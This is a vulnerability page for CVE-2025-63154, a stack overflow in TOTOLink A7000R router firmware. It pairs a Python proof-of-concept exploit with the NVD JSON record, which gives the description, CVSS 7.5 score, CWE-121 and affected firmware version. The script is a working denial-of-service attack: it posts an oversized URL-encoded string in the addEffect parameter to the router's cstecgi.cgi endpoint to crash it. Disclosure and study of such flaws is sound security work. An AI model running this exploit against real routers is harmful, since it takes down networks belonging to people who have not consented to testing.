CVE-2025-63154

import requests import urllib.parse # CVE-2025-63154 PoC - TOTOLink A7000R Stack Overflow in addEffect parameter # Target: TOTOLink A7000R V9.1.0u.6115_B20201022 # Vulnerability: Stack overflow in urldecode function via addEffect parameter target_ip = "192.168.0.1" # Default TOTOLink router IP target_url = f"http://{target_ip}/cgi-bin/cstecgi.cgi" # Generate payload with oversized URL-encoded string to trigger stack overflow # The addEffect parameter is vulnerable when processed by urldecode function payload_size = 1000 # Adjust size based on buffer boundaries overflow_payload = "A" * payload_size url_encoded_payload = urllib.parse.quote(overflow_payload) # Construct the POST request with malicious addEffect parameter data = { "addEffect": url_encoded_payload, "topicurl": "app/advanced" } try: print(f"[*] Sending malicious request to {target_url}") print(f"[*] Payload size: {payload_size} bytes") response = requests.post(target_url, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[*] DoS condition triggered - Router may crash or become unresponsive") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

{"cve": {"id": "CVE-2025-63154", "sourceIdentifier": "[email protected]", "published": "2025-11-10T16:15:45.397", "lastModified": "2025-11-17T18:22:52.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TOTOLink A7000R V9.1.0u.6115_B20201022 was discovered to contain a stack overflow in the addEffect parameter of the urldecode function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted POST request."}, {"lang": "es", "value": "Se descubrió que TOTOLink A7000R V9.1.0u.6115_B20201022 contenía un desbordamiento de pila en el parámetro addEffect de la función urldecode. Esta vulnerabilidad permite a los atacantes causar una Denegación de Servicio (DoS) mediante una solicitud POST manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a7000r_firmware:9.1.0u.6115_b20201022:*:*:*:*:*:*:*", "matchCriteriaId": "A5BB152D-5E33-4158-BFFD-68AED6A174E2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a7000r:-:*:*:*:*:*:*:*", "matchCriteriaId": "603DA206-05D4-48FD-A506-F3BD8B4383B2"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/A7000/4/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}